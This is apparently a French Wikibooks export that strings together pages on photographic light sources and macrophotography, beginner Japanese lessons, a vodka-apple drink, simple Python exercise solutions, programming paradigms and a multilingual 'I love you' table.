lm/W |- | |Arcs au xénon |5400 K |25 à 36 lm/W selon dimensions |- | |Tubes fluorescents | |40 à 50 lm/W |- | |Diodes électroluminescentes | |12 à 60 lm/W |- | |Lampes au mercure H.P. | |50 lm/W |- | |Lampes au sodium | |100 lm/W |- |} == Les lampes à incandescence == === Caractéristiques générales === Les lampes à incandescence sont encore les plus utilisées en photographie et en photométrie à cause de leur coût de revient relativement bas par rapport aux autres types de sources d'éclairage. Elles servent aussi bien pour la prise de vue, la projection de diapositives et de films cinématographiques que pour le tirage sur papier des négatifs, par contact ou par agrandissement. Il importe donc d'en connaître les caractéristiques : - tension d'utilisation normale V<sub>o</sub> - puissance électrique consommée p<sub>o</sub> - température de couleur Tc<sub>o</sub> - valeur et répartition spatiale du flux lumineux F<sub>o</sub> - rendement &eta;<sub>o</sub> - durée de vie L<sub>o</sub> [[Image:Flux puissance et rendement.png|thumb|250px|puissance consommé, flux lumineux et rendement d'une lampe à incandescence en fonction de la tension appliquée.]] [[Image:Température et durée de vie.png|thumb|250px|Température du filament d'une lampe à incandescence et durée de vie.]] Il existe dans le commerce un très grand nombre de modèles de toutes puissances et de toutes formes, correspondant aux différentes utilisations possibles. L'indice <sub>o</sub> indique que les différentes grandeurs ont leurs valeurs nominales, c'est-à-dire celles qui correspondent aux conditions normales d'utilisation et que les fabriquants indiquent dans leurs notices. Il est bien évident qu'en faisant varier la tension d'alimentation on augmente ou diminue la valeur de ces grandeurs. Si V augmente, la température de couleur s'élève, le rayonnement comprend plus de bleu et de violet, tout en étant dans l'ensemble plus intense. Le rendement et la puissance consommée augmentent également, mais il n'en est pas de même pour la durée de vie qui peut alors diminuer de manière prohibitive (rappelons qu'elle est définie comme le temps au bout duquel, dans les conditions nominales d'utilisation, 90% des lampes d'un même lot sont encore en service). Les courbes ci-contre montrent l'allure de la variation des différentes grandeurs en fonction de la tension. Lorsqu'il s'agit seulement du flux visible, et au voisinage de la zone d'utilisation nominale, les différentes grandeurs sont liées par des relations du type : <center><math>\frac{F}{F_o} = \left ( \frac{V}{V_o} \right )^k</math></center> Pour le flux visible, et pour des lampes de moyenne puissance, la valeur de k serait de l'ordre de 3,3, c'est-à-dire que le flux augmente beaucoup plus vite que la tension. Si l'on se réfère non plus à l'œil, mais à une couche sensible non chromatisée (seulement sensible au bleu et au violet), il faut définir un flux actinique agissant sur ce type de couche. Etant donné que l'abaissement de la température du filament produit non seulement une chute rapide du flux, mais encore une diminution très nette de la proportion de radiations actiniques émises, le flux actinique variera encore plus vite que le flux visuel (k de l'ordre de 5 à 6). On conçoit que si l'on veut utiliser des lampes à incandescence pour servir dans un photomètre destiné à l'étude des surfaces sensibles de ce type, il faudra s'assurer que la tension d'alimentation des lampes est correctement stabilisée. === Les lampes survoltées === [[Image:Lampe flood.jpg|thumb|225px|lampe survoltée]] En augmentant la tension d'alimentation d'une lampe on fait croître dans de très fortes proportions le flux qu'elle émet et la lumière devient simultanément plus blanche et, pour les applications de laboratoire, plus actinique, plus active sur les surfaces sensibles, car contenant plus de bleu et de violet. Ainsi, les lampes d'agrandisseur sont-elles généralement légèrement survoltées. Il en résulte une durée de vie réduite à quelques dizaines d'heures, contre plusieurs centaines pour les lampes à incandescence ordinaires. Pour l'éclairage de studio ou la reproduction des documents on a longtemps utilisé des « lampes flood » nettement plus survoltées, avec des durées de vie encore plus faibles, quelques heures seulement. Ces lampes de forte puissance, 250 W, 500 W, parfois 1000 W, ne sont plus guère commercialisées. Elles possédaient une partie avant légèrement dépolie pour éviter les taches lumineuses sur le sujet éclairé et une partie arrière métallisée et réfléchissante pour renvoyer davantage de lumière vers l'avant. Souvent, la partie arrière était aussi recouverte d'un enduit noir censé évacuer davantage de chaleur par rayonnement, car ces lampes, dont le rendement lumineux ne dépassait guère 15 %, se comportaient avant tout comme de puissants appareils de chauffage. On pouvait donc les préférer aux flashes pour pratiquer la photographie de nu dans des pièces non chauffées mais leur utilisation pour des natures mortes de denrées périssables ou la reproduction des documents papier posait des problèmes d'élévation thermique trop importante et de maintien de la planéité. Pour la photographie en couleurs on pouvait aussi de procurer des lampes flood bleues dont la lumière était très proche de celle du jour. Ces lampes coûtaient finalement très cher à l'achat et par leur consommation. Elles ont été supplantées de nos jours par les lampes dites « à halogènes ». === Les lampes de quartz à vapeur d'iode === La durée de vie d'une lampe ordinaire dépend étroitement de la vitesse d'évaporation de son filament, dont la rupture intervient lorsque 10% environ du métal s'est volatilisé. Ce phénomène est évidemment accentué par l'élévation de la température, de sorte que la recherche d'un haut rendement et d'une température de couleur élevée est contradictoire avec celle d'une durée de vie importante. De plus, le tungstène évaporé se dépose sur les parois de la lampe dont le rendement lumineux baisse alors sensiblement (20% de la lumière émise peuvent être absorbés au bout de 1 000 h pour une lampe ordinaire). Pour limiter cette évaporation, on crée une pression partielle par introduction dans l'ampoule d'une certaine quantité de gaz inerte. On ne peut pas non plus aller très loin dans cette voie car l'existence inévitable du dépôt oblige à fabriquer des ampoules de fortes dimensions, ce qui est peu compatible avec des pressions élevées qui par ailleurs produiraient des pertes thermiques importantes par conduction. La lampe à iode, mise au point à la suite des travaux de Langmuir, constitue un progrès très important. Les recherches dans le domaine de l'utilisation des halogènes ne sont toutefois pas récentes puisqu'en 1882 un brevet avait déjà été déposé pour l'utilisation de chlore dans les lampes à filament de carbone. On choisit l'iode essentiellement à cause de sa faible réactivité qui permet d'éviter de nombreuses difficultés techniques. Lorsque l'on introduit de l'iode dans une ampoule, les vapeurs de tungstène sont captées selon la réaction de base : <math>W + 2 I \to WI_2 \,</math> Cette réaction se produit vers les parois du tube, à condition que la température y soit au moins égale à 250°C. L'iodure de tungstène gazeux se déplace dans l'ampoule jusqu'à ce qu'il parvienne à proximité du filament où il se décompose vers 2000°C. Le métal est redéposé tandis que l'iode libéré peut reprendre le cycle de captation ci-dessus. Il serait toutefois enfantin de s'imaginer que le filament est parfaitement régénéré, en fait sa structure se dégrade tout de même car le métal n'est évidemment pas redéposé à l'endroit exact d'où il s'était évaporé. L'intérêt essentiel de ce type de lampe tient à ce que l'ampoule reste absolument propre pendant toute la durée de vie. On peut donc la concevoir de petite taille (3% de la surface d'une ampoule ordinaire de même puissance), ce qui permet d'augmenter la pression sans pour autant que les pertes thermiques par conduction deviennent prohibitives. L'iode ne permet donc pas tant de régénérer le filament, comme on a l'a parfois affirmé, que d'en diminuer indirectement l'évaporation. Il est évident que la température très élevée de l'ampoule impose certaines précautlons, à commencer par la substitution du quartz au verre. En particulier, il ne faut jamais manipuler de telles lampes à mains nues car les dépôts provenant de la sueur provoquent l'attaque à chaud de l'ampoule. En cas de contact accidentel, il faut immédiatement nettoyer l'ampoule à l'alcool. La haute température du filament oblige également à respecter une valeur maximale de l'inclinaison de la lampe. Si l'éclairage d'une cuisine par des lampes à iode n'est certes pas une solution des plus économiques, en revanche, ces lampes ont révolutionné l'éclairage photographique. Pour une même puissance que les lampes classiques, l'encombrement et le poids sont considérablement diminués et surtout la durée de vie à 3400 K qui n'est que de 1 ou 2 heures pour une lampe flood atteint ici 12 à 15 heures. == Les diodes électroluminescentes == Il existe divers types de diodes électroluminescentes, entre autres celles qui émettent dans l'infrarouge et que l'on utilise pour des applications telles que les télécommandes des appareils audiovisuels et celles qui émettent dans le domaine visible, auxquelles nous nous intéresserons ici. Pour l'instant, ces DEL ne sont pas encore vraiment utilisées pour l'éclairage en raison de leurs puissances trop faibles mais elles pourraient bien devenir dans quelques années des systèmes intéressants dans le domaine de la photographie. Par rapport aux lampes à incandescence, elles se distinguent par l'absence d'émission dans l'infrarouge et leur faible dégagement de chaleur. Le faisceau émis est très directif, l'essentiel de la lumière est émis dans un cône de demi-angle au sommet voisin de 25 à 30 °. Il faut les alimenter sous une tension précise ; un excès de tension peut les détériorer de façon irrécversible, un manque ne leur permet pas de fonctionner avec un rendement convenable. Elles nécessitent donc un module d'alimentation spécifique. Contrairement aux lampes à incandescence ou à d'autres sources, les DEL sont utilisables à haute fréquence ; les temps d'allumage et d'extinction sont très brefs et l'intervalle entre deux périodes d'éclairage est très court. La durée de vie des DEL est définie comme la durée au bout de laquelle elles n'émettent plus que 50 % de leur flux initial. Le problème du vieillissement rapide des premières DEL est aujourd'hui résolu et les durées de vie atteingnent facilement 100 000 heures, soit une dizaine d'années de fonctionnement ininterrompu. Ce sont par ailleurs des composants solides du point de vue mécanique, peu sensibles aux vibrations. Comment décomposer les syllables (néerlandais) 5751 24468 2005-10-28T17:32:45Z Erasmus 194 [[Comment décomposer les syllables (néerlandais)]] déplacé vers [[Comment décomposer les syllabes (néerlandais)]]: ortho #REDIRECT [[Comment décomposer les syllabes (néerlandais)]] Catégorie:Arabe 5755 42421 2006-05-15T22:13:39Z Mly 1518 /* Ressources */ == Ressources == *[[m:wikibooks:arabic | Apprentissage de l'arabe via Wiki-Books en anglais]] [[Catégorie:Langue]] Japonais:Leçon1:Dialogue 5762 45365 2006-06-22T08:14:32Z 86.210.109.234 /* Watashi wa / Anata wa */ == [[Image:Comiclogo.png|50 px|dialogue]] Dialogue == ==Mise en situation== Imaginez que vous êtes dans les rues de Tokyo et que vous êtes à coté d'un(e) charmant(e) japonais(e). Vous êtes un peu perdu (pourtant, vu la quantité de plans dans Tokyo, cela semble difficile.) Regardons un peu le dialogue<br /> {| | Vous : || Sumimasen !! Eigo ga dekimasu ka ? |- | || すみません!!えいごができますか? |} {| | Japonais(e) : || iie, Dekimasen. |- | || できません。 |} {| | Vous : || Watashi wa nihongo ga sukoshi wakarimasu. |- | || わたしはにほんごがすこしわかります。 |} {| | Japonais(e) : || Amerika no kata desu ka ? |- | || アメリカのかたですか? |} {| | Vous : || Chigaimasu, furansujin desu. |- | || ちがいます、フランスじんです。 |} {| | Japonais(e) : || Nihongo wa o jozu desu nee |- | || にほんごはじょうずですね。 |} {| | Vous : || ... Sumimasen ! wakarimasen deshita |- | || ・・・すみません!わかりませんでした。 |} Essayons de voir un peu de vocabulaire/grammaire ==Sumimasen== Si vous ne deviez vous rappeler que d'un seul mot de japonais, ce serait '''sumimasen''' (prononciation : '''soumimasén'''), qui signifie en gros : "Pardon", "Excusez-moi !" Idéal pour déranger quelqu'un, s'excuser, etc ... ==Wakarimasen== Si vous deviez retenir un deuxième mot, ce serait '''wakarimasen''' (prononciation : '''wakalimasén'''), qui signifie en gros : "Je ne comprend pas." Vous parlez japonais, mais vous vous excusez de ne pas comprendre. === Iie/Hai === "Iie" signifie tout simplement "Non", par opposition à "Oui" qui se dit "Hai" === Eigoga, Furansugoga, Nihongoga === *'''Nihon''' signifie '''le Japon''' : si on rajoute '''go''' à la fin cela signifie '''la langue japonaise''': enfin si on rajoute '''jin''' à la fin, cela signifie '''un(e) Japonais(e)'''. *'''Furansu''' signifie '''la France''' : si on rajoute '''go''' à la fin cela signifie '''la langue francaise''' : si on rajoute '''jin''' à la fin cela signifie '''un(e) Français(e)'''. *'''Amerika''' signifie '''l'Amérique''' : si l'on rajoute '''jin''' à la fin, cela signifie "un(e) Américain(e)". Attention. '''La langue anglaise''' se dit '''Eigo'''. {| cellspacing="4" style="border-width: 1px; border-color: #888888; border-style: solid" |Tableaux récapitulatif |- |'''Nihon''' Japon || '''Nihongo''' langue japonaise | '''Nihonjin''' un(e) japonais(e) |- |'''Furansu''' France || '''Furansugo''' langue française |'''Furansujin''' un(e) français(e) |- |'''Amerika''' État-Unis || '''Eigo''' langue anglaise |'''Americajin''' un(e) américain(e) |} *Enfin '''Eigoga''' : le '''ga''' est une particule qui sert à rattacher '''eigo''' et '''wakarimasu'''. On reverra plus tard l'histoire du '''ga''' qui est un véritable casse-tête à expliquer. Pour l'instant retenez '''Eigoga''' comme '''la langue anglaise''', '''Nihongoga''' comme '''la langue japonaise''' et '''Furansugoga''' comme '''la langue francaise'''. Donc la phrase "Eigoga wakarimasen." peut être traduit "Je ne comprends pas la langue anglaise." et "Eigoga wakarimasu ka ?", peut se traduire par "Comprenez-vous la langue anglaise ?" ==Watashi wa / Anata wa== '''Wa''' est une particule qui introduit le thème de la phrase, qu'on pourrait traduire par "en ce qui concerne". Donc,"watashi wa" peut se traduire mot à mot par "en ce qui concerne moi" soit "en ce qui me concerne" et "anata wa" par "en ce qui concerne vous" soit "en ce qui vous concerne". Nous traduirons du manière simplifiée cela par "je" et "vous" dans la suite du cours. Regardons deux phrases du dialogue. *"Watashi wa nihongoga sukoshi wakarimasu." "Sukoshi" signifie "un peu", donc nous traduirons mot à mot par "Moi, langue japonaise, un peu, comprendre." soit "Je comprends un peu le japonais." *"Sumimasen. Anata wa eigoga wakarimasu ka ?" Mot à mot. "Excusez-moi. Vous langue anglaise comprendre Question ?" soit "Comprenez-vous l'anglais ?" ==Desu== '''Desu''' signifie "être", On y reviendra dans la lecon numéro 2. regardons une phrase "Anata ha Amerikajin desu ka" peut ce traduire "Vous américain être ?", la personne vous demande simplement si vous êtes américain.. Vous répondez "Non, je suis francais" soit "Iie, watashiha Furansujin desu" ==Une mini-conclusion== Il ne nous reste plus que la dernière phrase : "Anata no nihongo ha jouzu desu nee".. elle signifie "Votre japonais est très bon".. Vous répondez "Sumimasen Wakarimasen" ... ===[[Image:Gnome-speakernotes.png|50 px|haut-parleur]]Un peu de prononciation=== "Kinô" (le ô final est long) signifie "hier", ashita signifie "demain", enfin "aujourd'hui" se dit "Kyô". </td></tr></table> {{Méthode_de_Japonais}} [[Catégorie:Méthode de Japonais]] Japonais:Leçon1:Grammaire 5764 45364 2006-06-22T08:11:40Z 86.210.109.234 /* [[Image:Godan.png|48 px]]Verbe */ == Introduction == Nous allons commencer doucement par expliquer quelques généralités. À la fin de cette leçon, vous serez capable de vous exprimer un peu en japonais. Nous allons d'abord constater que le japonais : #n'a pas de genre (féminin/masculin) #*inu(犬) signifie : un chien, une chienne #n'a pas de nombre (singulier/pluriel) #*inu(犬) un chien, des chiens #et enfin, n'a pas d'articles (définis/indéfinis) #*inu(犬) le chien, un chien, les/des chiens Le vocabulaire ne pose donc que peu de problèmes. Voyons maintenant les verbes. == [[Image:Godan.png|48 px]]Verbe == On distingue deux temps principaux en japonais : * l'accompli (qui est l'équivalent d'un temps passé) * le non-accompli (et donc présent ou futur) Par exemple avec le verbe 買う 【かう】 (acheter) : * 買います 【かいます】 ''kaimasu'' : j'achète ou j'achèterai (l'action est en train ou va se produire) * 買いました 【かいました】 ''kaimashita'' : j'ai acheté (l'action est finie) Chaque temps est assorti d'une forme négative, identifiable par la terminaison ~ません ''~masen'' : * 買いません 【かいません】 ''kaimasen'' : je n'achète pas ou je n'achèterai pas * 買いませんでした 【かいませんでした】 ''kaimasen deshita'' : je n'ai pas acheté Pour résumer cette leçon prenons un nouvel exemple avec le verbe 食べる 【たべる】 ''taberu'' (manger) {|{{prettytable}} |+ '''Les formes verbales en japonais''' |-align="center" bgcolor="#CCCCCC" ! !Affirmatif !Négatif |- !Non accompli |tabe + masu 食べます |tabe + masen 食べません |-bgcolor="#EFEFEF" !Accompli |tabe + mashita 食べました |tabe + masen deshita 食べませんでした |} Vous aurez sûrement remarqué que les verbes se conjuguent comme en français, à partir d'un radical et d'une terminaison : ''tabe-'' pour ''taberu'' et ''kai-'' pour ''kau''. ''taberu'' et ''kau'' sont aussi appellées 辞書形 【じしょけい】 "formes du dictionnaire", car c'est sous cette forme qu'ils sont habituellement rangés dans le dictionnaire (logique). Note : les deux verbes utilisés en exemple appartiennent à deux groupes différents. Si vous êtes observateurs vous trouverez une légère différence dans la formation du radical, mais nous aborderons celà un peu plus tard. <table WIDTH="100%" > <tr><td style="background-color: #CCFFCC; border: solid 1px #77AA77; padding: 1em;" valign=top> === [[Image:Gnome-speakernotes.png|50 px|haut-parleur]]Un peu de prononciation === Avant de passer aux exercices, faisons un [[Japonais:Prononciation|petit point sur la prononciation]]. Pour vous entraîner il n'y a qu'une seule solution : la lecture à voix haute. N'ayiez pas peur du ridicule et osez lire distinctement et à voix claire les exemples et les dialogues. Marmoner ne vous permettra ni de vous corriger et ni de mémoriser la prononciation. </td></tr></table> === [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) === À vous d'essayer : Je vous propose d'essayer avec "Wakarimasu" (Je comprends). Complétez les cases vides : {|{{prettytable}} |+ '''Les formes verbales en japonais''' |-align="center" bgcolor="#CCCCCC" !français !japonais |- |je comprends | |-bgcolor="#EFEFEF" | |Wakarimasen |- |j'ai compris | |-bgcolor="#EFEFEF" | |Wakarimasen deshita |} [[Japonais:Leçon1:Correction|Voir la correction des exercices]] == [[Image:Particule.png|48 px]] Particule か[ka], ね[ne], よ[yo] en fin de phrase == Explication : si on ajoute '''en fin de phrase''' * か[ka]-- la phrase devient interrogative * ね[ne]-- pour une demande de confirmation (équivalent de "n'est-ce pas" ou "isn't it" en anglais) * よ[yo]-- pour donner son avis. Par exemple : je suis sûr que, d'après moi, à mon avis. === [[Image:Bulbgraph.png|50 px]]れい (Exemples) === # Wakarimashita ka ? ##As-tu/Avez-vous compris ? # Ashita kimasu ne ? ##Tu viens demain, n'est-ce pas ? # Kinou kaimashita yo ! ##Bien sûr que je l'ai acheté hier ! Japonais:Leçon1:Grammaire (seconde partie) 5765 32546 2006-02-12T16:36:58Z 196.206.145.152 /* [[Image:Godan.png|48 px]]Pronom personnel ''(formels)'' */ == [[Image:Godan.png|48 px]]Pronom personnel ''(formels)''== Vous remarquez qu'il n'y a pas de conjugaison personnelle en japonais. Pourtant, l'équivalent en japonais existe {| cellspacing="4" style="border-width: 1px; border-color: #888888; border-style: solid" |+ [[Pronom personnel|Pronoms personnels]] formels |- | je || '''watashi''' || 私 |- | tu || '''anata''' || あなた |- | il || ''kare'' || かれ |- | elle || ''kanojo'' || かのじょ |- | nous || ''watashitachi'' || 私たち |- | vous || ''anatatachi'' || あなたたち |- | ils || ''karera(karetachi)'' || かれら(かれたち) |- | elles || ''kanojotachi'' || かのじょたち |} Mais il est important de préciser qu'on ne les utilise qu'avec énormément de parcimonie. D'ailleurs, je vous demanderai en quelque sorte d'oublier ce tableau, sauf les deux éléments en gras que nous verrons plus tard ... Japonais:Leçon1:Exercice 5766 24567 2005-10-29T11:45:22Z Senaku-seishin 220 Répartion == [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) == === Exercice n° 1 === À vous de répondre : * Je comprends * Est-ce que vous comprenez ? * J'AI COMPRIS !!! (comprendre : j'en suis sûr) * Tu comprend, n'est-ce pas ? [[Japonais:Leçon1:Correction|Voir la correction des exercices]] === Exercice n° 2 === Traduire en français : *nihongo ga wakarimasen *sumimasen, furansugo ga wakarimasu ka *anata wa nihonjin desu ka *watashi wa eigo ga wakarimasu Traduire en japonais : *excusez moi *je suis français/belge/canadien *je comprend le français *je comprend l'anglais. *je comprend un peu le japonais Si vous êtes capable d'écrire ces phrases, vous pouvez déjà trouver un correspondant japonais. [[Japonais:Leçon1:Correction|Voir la correction des exercices]] Japonais:Leçon1:Ecriture 5767 36842 2006-03-10T09:34:59Z 86.199.71.138 /* [[image:あ_教科書体.png|50 px|Ecriture]] Écriture Japonaise */ == [[image:あ_教科書体.png|50 px|Ecriture]] Écriture Japonaise == Vous avez remarqué dans cette leçon, la quasi-absence de caractères japonais. Néanmoins, il vous sera difficile de continuer dans l'apprentissage du japonais en ignorant l'écriture. Dans les futures leçons (vers 3-4), la transcription en caracteres latins que nous avons utilisée jusqu'a present sera accompagnée de la graphie japonaise. Il est temps pour ceux qui souhaitent maitriser l'ecriture de commencer à apprendre les Hiragana, puis les Katakana (ce n'est pas si pénible que ça), et enfin, les Kanji. Japonais:Leçon1:Vocabulaire 5768 40570 2006-04-19T18:51:35Z 86.204.90.122 /* Fiche vocabulaire */ == Fiche vocabulaire == Ici, le vocabulaire que j'aurai introduit .. je le ré-introduit dans l'ordre de la phrase {| border="1" cellpadding="2" | |+ Vocabulaire.. |- |temps||thème||sujet du verbe||Verbe||particule de fin de phrase |- |4||4||8||12 |- |Ashita||watakushi ha||nihongo ga||wakarimasu|| |- |Kyô||2||furansugo ga||wakarimasen|| |- |Kyô||2||furansugo ga||wakarimasen|| |- |4||4||8||12 |- |5||5||10||15 |} * Shimasu : je fais * Wakarimasu : je comprends * Kaimasu : j'achète * ...+ne : ... n'est-ce pas ? * ...+ka : la phrase devient interrogative * ...+yo : ... c'est ce que je pense, à mon avis .. * Ashita : demain * Kyô : aujourd'hui * Kinô : hier Photographie - 23 - Macrophotographie 5775 29034 2006-01-16T14:49:12Z Jean-Jacques MILAN 114 /* Macrophotographie, oui ou non ? */ style {{Photographie}} == Généralités == La valeur du rapport de grandissement '''g''' obtenu '''au moment de la prise de vue''', c'est-à-dire le rapport des dimensions de l'image formée sur la surface sensible à celles de l'objet qu'elle représente, permet de distinguer plusieurs grands domaines photographiques : * g est voisin de zéro ou très petit, l'image a des dimensions très inférieures à celles du sujet : c'est le cas pour l'immense majorité des prises de vue (paysages, monuments, personnages, etc.) et à quelques rarissimes exceptions près, tous les appareils permettent d'opérer dans ce domaine sans aucun accessoire. * g n'est plus négligeable mais reste inférieur à l'unité, l'image est toujours plus petite que le sujet : c'est le domaine de la '''proxiphotographie''', dont une des limites est mal définie (g = 1/10e ou 1/20e) et l'autre précise (g=1). Ce domaine est inaccessible aux appareils de bas de gamme dont la distance minimale de mise au point est relativement élevée, mais il est facilement abordable, avec ou sans accessoire, dans de nombreux cas. * g atteint ou dépasse l'unité, l'image devient plus grande que le sujet : nous sommes dans le domaine de la '''macrophotographie''', qui s'étend en pratique jusqu'aux environs du rapport 10 ou un peu au-delà. Quel que soit l'appareil, des accessoires spéciaux sont absolument indispensables et divers problèmes inconnus en photographie « normale » se posent avec d'autant plus d'acuité que le rapport de grandissement est plus élevé. * g devient très élevé, on parle alors de '''photomicrographie''', c'est le domaine de la photographie au microscope et du laboratoire. Ne pas confondre avec la '''microphotographie''', qui est le domaine de très petites photographies d'objets de dimensions importantes (reproduction de livres sur microfilms, par exemple). == Macrophotographie, oui ou non ? == [[Image:Piezodorus lituratus jeune adulte .jpg|thumb|400px|center|Jeune adulte de Piezodorus lituratus]] Cette photographie prise avec un appareil Nikon Coolpix 4500 n'a subi aucun recadrage, juste une réduction du nombre de pixels pour lui donner un « poids » raisonnable. Contrairement à ce que l'on pourrait penser, il ne s'agit absolument pas d'une macrophotographie, on en est même assez loin, comme nous allons le voir. {| border="1" cellpadding="5" cellspacing="0" |- |À notre époque que d'aucuns prétendent « moderne », le sens précis des mots a tendance à se perdre ; il faut donc, de temps à autres, inviter à plus de rigueur ceux qui ont été égarés par le vocabulaire approximatif des journalistes ou les arguments fallacieux des publicitaires. Au risque de décevoir beaucoup de lecteurs, disons-le tout net, '''l'immense majorité de ceux qui croient faire des macrophotographies ne font en réalité que des proxiphotographies''' ... |- |} Cela mérite évidemment quelques explications : * Les zooms pour appareils réflex possédant une position « macro » permettent de photographier de près les papillons, les libellules, les fleurs relativement grandes et beaucoup d'objets mais les rapports de grandissement sont limités à des valeurs de l'ordre de 1/5 à 1/3. On est ici très loin de la véritable macrophotographie et de plus, sur leur position extrême, ces objectifs sont généralement affectés d'une distortion monumentale, certes peu gênante pour photographier un escargot, mais qui les rend pratiquement inutilisables pour la reproduction de petits documents ou la photographie d'objets rectangulaires, par exemple. * Les objectifs « macro » sont capables de photographier de l'infini au rapport 1/2 ou au rapport 1, selon les versions. Ce sont généralement des pièces d'optique de haute qualité, relativement onéreuses, fournissant d'excellentes photographies lorsqu'ils sont entre les mains d'utilisateurs compétents. Ils sont très pratiques pour photographier sans autre accessoire de très nombreux sujets, en particulier les fleurs, les gros insectes, et ils se révèlent également excellents en photographie générale pour les paysages, les portraits, les natures mortes, etc. Ceux qui atteignent directement le rapport 1 sont presque toujours des objectifs à focale variable, un 9O mm macro devient un 60 ou un 65 mm à sa plus grande extension, ce qui ne facilite pas certains calculs quand on ne dispose pas de la loi de variation exacte ; mais peu importe, en atteignant au maximum le rapport 1, on s'arrête à la porte de la macrophotographie, mais on n'y pénètre pas encore ! * La plupart des appareils numériques possèdent une position « macro » qui n'a en réalité de « macro » que le nom ... Le Nikon Coolpix 4500, qui fut (et reste) un outil extrêmement apprécié des photographes naturalistes, est capable de photographier un champ dont la largeur peut descendre à 20 mm. Cependant, comme la largeur de son capteur est d'environ 12 mm, il faut en tirer la conclusion qu'il ne dépasse guère le rapport 0,6, ce qui n'est déjà pas si mal, mais demeure franchement hors du domaine de la macrophotographie. La punaise représentée ci-dessus mesure environ 12 mm de la tête à l'extrémité presque transparente des ailes. Compte tenu des dimensions de la bestiole et du cadre, si cette photo avait été faite avec un appareil 24x36, le grandissement d'environ 1,4 en aurait fait sans contestation possible une véritable macrophotographie. Avec le Coolpix, en revanche, le grandissement est voisin de 0,5 et il s'agit bien, sans le moindre doute, d'une proxiphotographie ! Dans ces trois situations, qui sont les plus courantes, on peut évidemment réaliser de très belles prises de vue sans se trouver confronté aux difficiles problèmes d'éclairement, de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] et de diffraction qui caractérisent le domaine de la macrophotographie proprement dite. En particulier, l'association de capteurs minuscules et d'excellents objectifs fait merveille et c'est l'une des raisons qui ont fait adopter les appareils numériques par tous les photographes passionnés par la botanique et l'entomologie. {{EnTravaux}} Cuisine:Vodka pomme 5776 24630 2005-10-30T12:59:25Z Pseudomoi 395 déplacé de Wikipédia == '''Vodka Pomme.''' == L'addition de jus de pomme a la vodka apporte une alternative rafraichissante au tradionnel Vodka Orange. L'origine de cette boisson serait polonaise. La vodka conseillee pour ce mix est la zubrowka qui est une vodka a base d'[[herbe aux bisons]] La Vodka Pomme est la boisson de référence de la fraternité des ''Chemicals''. Programmation Python Tableau des valeurs False 5777 44648 2006-06-16T12:32:12Z Boly38 136 -sommaire <center> {|border="1" cellpadding="2" | | colspan="2" align="center" |'''Les valeurs False''' |- |width="50%"|int |width="50%"|0 |- |long |0L |- |float |0. |- |} ''Tableau 3 : Liste des valeurs évaluées à False'' </center> Programmation Python Fonction 5778 46482 2006-06-29T13:00:38Z 82.226.173.59 /* Utilisation */ {{Programmation Python}} == Définition == == Utilisation == le rest du texte est ou? == Retour de valeur == == Passage d'argument == == Fonction lambda == == Récupérer les arguments de la ligne de commande == Programmation Python Correction Exercices Base du langage 5779 44645 2006-06-16T12:28:34Z Boly38 136 {{Programmation Python}} {{Programmation Python}} Correction des exercices pour le chapitre [[Programmation Python Base du langage]]. Voir les [[Programmation Python Exercices Base du langage|énoncés]]. == Exercice 1 == print "Bonjour le monde" == Exercice 2 == nom = raw_input("Quel est votre nom ? ") print "Bonjour " + nom == Exercice 3 == a = raw_input("Valeur de a :") b = raw_input("Valeur de b :") print "Somme de a+b = " + str(int(a)+int(b)) == Exercice 4 == <pre> # Ce script ne gère pas si l'anniversaire est passé ou non d'où le "environ" annee_courante = 2006 print "Quelle est votre date de naissance ?" reponse = raw_input() print "Vous avez environ", annee_courante- int(reponse),"ans" </pre> == Exercice 5 == <pre> import math print "xA?" xA = int(raw_input()) print "yA?" yA = int(raw_input()) print "xB?" xB = int(raw_input()) print "yB?" yB = int(raw_input()) print "distance entre A et B:", math.sqrt( (xA-xB)**2 + (yA-yB)**2) </pre> Programmation FDD 5783 24666 2005-10-31T07:34:21Z Epommate 705 Retouche {{ébauche}} Feature Driven Development - Programmation piloté par les fonctionnalités. == Ressource externe == * http://www.featuredrivendevelopment.com/ {{Programmation}} Les différents paradigmes de programmation 5784 24670 2005-10-31T07:48:05Z Epommate 705 Brève intro pour pas laissez la page vide {{ébauche}} Il existe différentes classes de langage qui fonctionnent à partir de concepts et de schémas de pensées différents. Ainsi, le langage C est assez éloigné du langage Lisp qui lui-même ne partage guère les structures de base du langage SmallTalk. On parle de '''paradigme''' pour désigner un ensemble de concept particulier. Les langages de programmation impératifs représentent le premier paradigme de programmation utilisé : ce sont les langages qui héritent de l'Algol, dont le C est le meilleur représentant. Bien qu'inventé en même temps, le paradigme orienté objet a connu le succès avec le C++ et, au début du XXIème siècle grâce aux langages Java et C#. Les autres paradigmes, comme par exemple la programmation fonctionnelle, sont moins utilisés. Ils comprennent le LISP, le Scheme et le Prolog. Le logo est également un langage respectant le paradigme fonctionnelle. Certains langages sont multi-paradigmes, ainsi le Python offre les trois paradigmes présentés dans cette introduction. {{Programmation}} Dire je t'aime dans le monde 5786 45584 2006-06-24T14:22:20Z 82.227.225.132 Chaque internaute est libre d'ajouter une traduction ou une prononciation (fortement recommandé) {| border="0" cellpadding="4" cellspacing="0" style="border-width: 1px; border-color: #dddddd; border-style: solid" |- bgcolor="#ddffdd" !Langue !Traduction (alphabet latin) !Traduction (alphabet local) ![[wikt:Annexe:Prononciation|Prononciation]] |- bgcolor="#f3f5f3" |[[w:acholi|acholi]] |amari | | | |- bgcolor="#f3fff3" |[[w:dari|afghan]] |ma doste derm | | | |- bgcolor="#f3f5f3" |[[w:afrikaans|afrikaans]] |ek is lief vir jou | | | |- bgcolor="#f3fff3" |[[w:ghana|akan]] |me dor wo | | | |- bgcolor="#f3f5f3" |[[w:albanais|albanais]] |te dua<br>te dashoroj | | | |- bgcolor="#f3fff3" |[[w:portugal|alentejan]] |gosto de ti | | | |- bgcolor="#f3f5f3" |[[w:algérien|algérien]] |kanbghik | | | |- bgcolor="#f3fff3" |{{allemand}} |ich liebe dich | |/iç' li:be' diç/ |- bgcolor="#f3f5f3" |[[w:alsacien|alsacien]] |ich hoab dich leb<br>ich hoab dich gear | | | |- bgcolor="#f3fff3" |{{anglais}} |I love you | |/ai' lov' iu/ |- bgcolor="#f3f5f3" |[[w:apaches|apache]] |sheth shen zhon | | | |- bgcolor="#f3fff3" |[[w:arabe littéral|arabe littéraire]] |ohiboki (''à une femme'')<br>ohiboka (''à un homme'') | | | |- bgcolor="#f3f5f3" |[[w:araméen#La_langue|araméen]] |Kl ana Mjr | | 